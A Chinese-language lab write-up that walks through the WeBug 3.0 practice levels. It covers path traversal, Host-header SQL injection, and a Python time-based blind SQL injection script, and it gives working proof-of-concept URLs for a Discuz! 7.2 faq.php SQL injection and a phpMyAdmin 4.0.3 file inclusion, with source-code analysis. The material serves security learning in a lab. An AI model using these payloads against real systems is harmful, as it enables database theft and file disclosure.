WeBug名称定义为“我们的漏洞”靶场环境。基础环境是基于PHP/mysql制作搭建而成,中级环境与高级环境分别都是由互联网漏洞事件而收集的漏洞存在的操作环境。部分漏洞是基于Windows操作系统的漏洞所以将WeBug的web环境都装在了一个纯净版的Windows 2003的虚拟机中。

这次带来Webug3.0中级进阶上部分 借鉴了很多前辈的文章 有些关卡可能是本身环境配置的问题 无法复现漏洞 或者我姿势不对 如果有做出的大佬可以补充一下~

中级进阶——上

我们的漏洞 Webug 3.0 中级进阶攻略(上)

第一关:出来点东西吧 ../../etc/passwd

../../etc/passwd 提示了可能是要读取文件 同时webug是个windows 2003的虚拟机 也不存在/etc/passwd

我们的漏洞 Webug 3.0 中级进阶攻略(上)

开始无论选择什么国点go 啥都没有点纳闷 仅仅后面的country变了

后来一看源码发现路径是路径写的不对..

我们的漏洞 Webug 3.0 中级进阶攻略(上)

把cc目录下的几个文件移到上级目录 选择世界就会正常显示出图片了

我们的漏洞 Webug 3.0 中级进阶攻略(上)

这关就是一个任意文件读取的漏洞 跨目录读取了主页文件index.html

看了源文件没发现哪里有flag 可能题目没完善或是我没找到 总之就是一个任意文件读取漏洞

我们的漏洞 Webug 3.0 中级进阶攻略(上)

第二关:提交的方式是怎样的啊? pass!

这回不用改也显示正常了 点餐就直接出来了图片 这回url后面没有带参数了

根据关卡“提交的方式是怎样的啊” 那就是post了 后来抓包也证实了这点

我们的漏洞 Webug 3.0 中级进阶攻略(上)

一样是一个任意文件读取漏洞 不过换成了post方式 目的让大家认识这个漏洞

我们的漏洞 Webug 3.0 中级进阶攻略(上)

第三关:我还是一个注入 怎么又TM注入 

题目说又是注入 没有参数可注 就想到了头部注入 但无奈水平过低 无法注入 只好看源码

我们的漏洞 Webug 3.0 中级进阶攻略(上)

发现原来是host头注入 实在是没想到啊

我们的漏洞 Webug 3.0 中级进阶攻略(上)

知道了就好办了 跟普通注入一样的来 得到列长为4

我们的漏洞 Webug 3.0 中级进阶攻略(上)

得到表名

我们的漏洞 Webug 3.0 中级进阶攻略(上)

最后得到flag

我们的漏洞 Webug 3.0 中级进阶攻略(上)

第四关:APK里面有一个FLAG 看看APK

apk用android killer打开 不是很懂apk逆向也大致看了一下 把这四个base64解密好像就是flag了

或者点击apk里面的按钮三百下 就会给出flag

我们的漏洞 Webug 3.0 中级进阶攻略(上)

第五关:时间注入 时间注入

提示加type参 get型时间盲注

我们的漏洞 Webug 3.0 中级进阶攻略(上)

用sleep()来确认是否是时间盲注 如果是 则延时x秒执行 不是则立即返回 

手工盲注就太累了 照网上的代码 写了一个时间盲注的python脚本

自动跑出库名 表名和列名改改payload也是一样可以跑出来的

我们的漏洞 Webug 3.0 中级进阶攻略(上)

#encoding=utf-8  #时间盲注脚本 import requests import time payloads = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM0123456789@_.}{,' #存放跑出的结果 length=0 database='' table='' print 'start get length...' for l in range(1,21):  startTime1=time.time()  url1 = "http://192.168.37.147/pentest/test/time/?type=1 and if(length(database())=%d,sleep(5),1)"%(l)  response1 = requests.get(url1)  if time.time() - startTime1 > 5:  length=l  print "the length is " + str(length)  break print 'start database sql injection...' for d in range(1,length+1):  for payload in payloads:  startTime2=time.time()  url2 = "http://192.168.37.147/pentest/test/time/?type=1 and if(substr(database(),'%d',1)='%s',sleep(5),1)"%(d,payload)  response2 = requests.get(url2) #发送请求  if time.time() - startTime2 > 5: #判断是否延时了5秒 也就是 是否执行了函数sleep(5)  database+=payload  print database  break print "the database is " + database 

实战练习:DZ论坛 注入

好像配置有点问题还是咋的= = 无法复现

我们的漏洞 Webug 3.0 中级进阶攻略(上)

于是在本地自行搭建了一个dz7.2的环境

需要的环境小伙伴自取(均从网上搜集):

http://pan.baidu.com/s/1gfkvJrX

MySQL Duplicate entry报错注入  PoC:

faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28version%28%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23

我们的漏洞 Webug 3.0 中级进阶攻略(上)

问题发生在faq.php 148行开始

我们的漏洞 Webug 3.0 中级进阶攻略(上)

185行定义了一个数组groupids,然后遍历同样是数组的gids,将数组中所有值的第一位取出来放在groupids中。

dz在全局会对get传递过来的数组用函数addslashes进行转义,单引号 ‘ 会被转义成 \’ 。

而 $groupids[] = $row[0] 又取了字符串的第一个字符,也就是把 \ 转义符号给取出来了。

再到190行末尾 对 groupids 用implodeids函数进行了处理

在 /include/global.func.php中 672行 看到implodeids函数

function implodeids($array) { if(!empty($array)) { return "'".implode("','", is_array($array) ? $array : array($array))."'";
	} else { return '';
	}
} 

如果数组不为空就将其用 ‘,’ 分隔开,就好像1234返回’1′,’2′,’3′,’4′

但前面取出了一个 \ 转义符号就变成了

’1′,’\’,’3′,’4′

第4个单引号就被转义了,第3个单引号就与第5个单引号闭合了,那么“3”就逃逸出了单引号的限制,产生了注入。

faq.php?gids[x]=’&gids[x+1][uid]=sql 如此构造就可以突破安全处理

实战练习:ASPCMS 注入 

怎么都搭建不起来。。头皮发麻ing

实战练习:phpMyAdmin 任意文件包含漏洞

不知为啥给的环境报错… 干脆自己本地搭建了一个 phpMyadmin 4.0.3 + php 5.2.17

phpMyAdmin下载地址http://pan.baidu.com/s/1dEYo9zj

我们的漏洞 Webug 3.0 中级进阶攻略(上)

PoC

http://localhost/pma4.0.3/gis_data_editor.php?token=4f4b3ee07ffc84e6bbef624931ae6999&gis_data[gis_type]=/../../advisory_rules.txt%00

token登录进去就会给,是phpMyAdmin的CSRF防御机制。

gis_data[gis_type]=file%00 file替换为要包含的文件路径

实际文件路径为 ./libraries/gis/pma_gis_file

注意%00截断

我们的漏洞 Webug 3.0 中级进阶攻略(上)

首先来到 \libraries\gis\pma_gis_factory.php 29行

我们的漏洞 Webug 3.0 中级进阶攻略(上)

接收到 type 参数之后再第33行 转换成小写并赋值给了 type_lower ,并在下面拼接成路径进行include_once

再来到根目录下的gis_data_editor.php

我们的漏洞 Webug 3.0 中级进阶攻略(上)

第28行 $_REQUEST['gis_data'] 获取到gis_data,第44行如果 $gis_data['gis_type'] 存在,则直接来到60行,赋值给 geom_type,并传入了PMA_GIS_Factory::factory函数。

一句话来说就是因为将 $gis_data['gis_type'] 拼接进了路径并进行了include_once中,造成了任意文件包含漏洞。

*本文原创作者:小石